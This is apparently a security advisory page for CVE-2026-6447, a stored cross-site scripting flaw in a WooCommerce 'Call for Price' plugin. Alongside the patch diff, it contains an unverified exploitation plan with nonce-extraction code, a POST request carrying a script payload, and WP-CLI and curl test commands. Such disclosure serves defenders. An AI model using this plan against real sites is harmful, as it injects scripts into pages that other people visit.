CVE-2026-6447

Call for Price for WooCommerce <= 4.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Call for Price' Label Settings

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
4.3.0
Patched in
1d
Time to patch

Description

The Call for Price for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.0
PublishedMay 1, 2026
Last updatedMay 2, 2026

What Changed in the Fix

Changes introduced in v4.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6447 ## 1. Vulnerability Summary The **Call for Price for WooCommerce** plugin (up to version 4.2.0) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard se…

Show full research plan

Exploitation Research Plan: CVE-2026-6447

1. Vulnerability Summary

The Call for Price for WooCommerce plugin (up to version 4.2.0) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin explicitly bypasses WooCommerce's standard setting sanitization for specific textarea fields. This allows an administrator (or any user with access to plugin settings) to inject arbitrary HTML and scripts. While administrators usually have the unfiltered_html capability, this vulnerability is critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled, as it allows bypass of those restrictions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple
  • Vulnerable Parameter: alg_wc_call_for_price_text_simple_single (and other related textarea fields for different product types/views).
  • Authentication: Administrator+ level permissions.
  • Preconditions:
    • WooCommerce must be installed and active.
    • unfiltered_html must be disabled (standard in Multisite or via define( 'DISALLOW_UNFILTERED_HTML', true );) to demonstrate the bypass of security controls.
    • A product must exist with no price set to trigger the frontend rendering of the "Call for Price" label.

3. Code Flow

  1. Registration: In includes/admin/class-wc-call-for-price-settings-product-types.php, the plugin registers a filter on woocommerce_admin_settings_sanitize_option in the constructor:
    add_filter( 'woocommerce_admin_settings_sanitize_option', array( $this, 'unclean_custom_textarea' ), PHP_INT_MAX, 3 );
    
  2. Sanitization Bypass: The method unclean_custom_textarea explicitly returns the $raw_value without any sanitization if the option type is alg_wc_call_for_price_textarea:
    public function unclean_custom_textarea( $value, $option, $raw_value ) {
        return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;
    }
    
  3. Setting Identification: In generate_settings_section(), the textarea for the single product page is defined with the ID pattern: alg_wc_call_for_price_text_simple_single and type alg_wc_call_for_price_textarea.
  4. Rendering: On the frontend, in includes/class-wc-call-for-price.php, the plugin retrieves these options using get_option() and outputs them to the page when a product has no price. The lack of esc_html() or strict wp_kses() on the frontend allows the stored script to execute.

4. Nonce Acquisition Strategy

This exploit targets a standard WooCommerce settings page. WooCommerce protects these settings with a WordPress nonce.

  1. Navigate: Use browser_navigate to go to: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple.
  2. Extract: Use browser_eval to extract the nonce from the hidden input field _wpnonce.
    document.querySelector('input[name="_wpnonce"]').value
    
  3. Alternative: If the settings are saved via AJAX (less common for standard WC tabs but possible), look for the wc_settings_params localized script.

5. Exploitation Strategy

Step 1: Preparation

  1. Create a Simple Product with an empty price using WP-CLI.
  2. Disable unfiltered_html to confirm the vulnerability.

Step 2: Injection

  1. Log into the WordPress admin panel.
  2. Navigate to the plugin settings page.
  3. Capture the _wpnonce.
  4. Send a POST request to /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple with the following payload:
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • _wpnonce: [EXTRACTED_NONCE]
      • _wp_http_referer: /wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple
      • alg_wc_call_for_price_text_simple_single: <strong>Call for Price</strong><script>alert(document.domain)</script>
      • save: Save changes

Step 3: Triggering

  1. Navigate to the frontend URL of the product created in Step 1.
  2. Observe the execution of the JavaScript payload.

6. Test Data Setup

# 1. Ensure WooCommerce is active (prerequisite)
wp plugin activate woocommerce

# 2. Create a product with no price
PRODUCT_ID=$(wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish --porcelain)
wp post meta set $PRODUCT_ID _price ""
wp post meta set $PRODUCT_ID _regular_price ""

# 3. Enable the plugin and global settings
wp option update alg_wc_call_for_price_enabled "yes"
wp option update alg_wc_call_for_price_simple_enabled "yes"
wp option update alg_wc_call_for_price_simple_single_enabled "yes"

# 4. Disable unfiltered_html for the session/environment
# This is usually done in wp-config.php, but for PoC we can simulate via a filter if needed 
# or just proceed as Administrator in a Multisite-like context.

7. Expected Results

  • The POST request to the settings page should return a 302 Redirect back to the settings page with settings-updated=1.
  • The database option alg_wc_call_for_price_text_simple_single will contain the raw <script> tag.
  • When viewing the product page, the HTML source will contain the unescaped script tag, and the browser will trigger the alert().

8. Verification Steps

# Check if the payload is stored exactly as sent
wp option get alg_wc_call_for_price_text_simple_single
# Expected: <strong>Call for Price</strong><script>alert(document.domain)</script>

# Verify on frontend (via CLI to see raw HTML)
curl -s http://localhost:8080/?p=$PRODUCT_ID | grep -F "alert(document.domain)"

9. Alternative Approaches

If the simple section is not the default, the payload can be sent to the general settings tab alg_wc_call_for_price or any other product type section (variable, grouped, external).

If the site has a custom theme that overrides WooCommerce templates, the injection point might differ, but the logic in includes/class-wc-call-for-price.php hooks into woocommerce_get_price_html, which is the standard WooCommerce hook for price display across almost all themes.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Call for Price for WooCommerce plugin is vulnerable to Stored Cross-Site Scripting (XSS) because it explicitly bypasses standard WooCommerce setting sanitization for its 'Call for Price' label fields. Authenticated administrators can inject arbitrary scripts into these settings, which execute on the frontend when a product with no price is viewed, bypassing security restrictions in WordPress Multisite or environments where unfiltered_html is disabled.

Vulnerable Code

// includes/admin/class-wc-call-for-price-settings-product-types.php line 68
public function unclean_custom_textarea( $value, $option, $raw_value ) {
    return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;
}

---

// includes/class-wc-call-for-price.php line 238 (approx.)
if ( true === $status ) {
    return $price_html;
} else {
    return do_shortcode( $label );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.2.0/includes/admin/class-wc-call-for-price-settings-product-types.php /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.3.0/includes/admin/class-wc-call-for-price-settings-product-types.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.2.0/includes/admin/class-wc-call-for-price-settings-product-types.php	2025-04-15 07:37:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.3.0/includes/admin/class-wc-call-for-price-settings-product-types.php	2026-04-23 06:53:26.000000000 +0000
@@ -66,7 +66,10 @@
 		 * @since   3.1.0
 		 */
 		public function unclean_custom_textarea( $value, $option, $raw_value ) {
-			return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;
+			if ( 'alg_wc_call_for_price_textarea' === $option['type'] ) {
+				return wp_kses_post( $raw_value );
+			}
+			return $value;
 		}
 
 		/**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.2.0/includes/class-wc-call-for-price.php /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.3.0/includes/class-wc-call-for-price.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.2.0/includes/class-wc-call-for-price.php	2026-02-03 06:25:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-call-for-price/4.3.0/includes/class-wc-call-for-price.php	2026-04-23 06:53:26.000000000 +0000
@@ -235,7 +235,7 @@
 					if ( true === $status ) {
 						return $price_html;
 					} else {
-						return do_shortcode( $label );
+						return wp_kses_post( do_shortcode( $label ) );
 					}
 				}
 			}
@@ -678,7 +678,7 @@
 					array( 'product_id' => $_product_id )
 				);
 			}
-			return do_shortcode( $label );
+			return wp_kses_post( do_shortcode( $label ) );
 		}
 	}

Exploit Outline

1. Gain Administrator-level access to the WordPress site. 2. Navigate to the WooCommerce settings page for the plugin: `/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price&section=simple`. 3. Identify a textarea field belonging to the custom type `alg_wc_call_for_price_textarea` (e.g., the field with ID `alg_wc_call_for_price_text_simple_single`). 4. Extract the security nonce from the `_wpnonce` hidden input on the page. 5. Submit a POST request to the settings endpoint containing the nonce and a malicious payload in the identified textarea (e.g., `<script>alert(document.domain)</script>`). 6. Ensure a WooCommerce product exists with an empty price field so the plugin triggers the "Call for Price" logic. 7. Visit the public product page; the injected script will execute in the context of the user's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.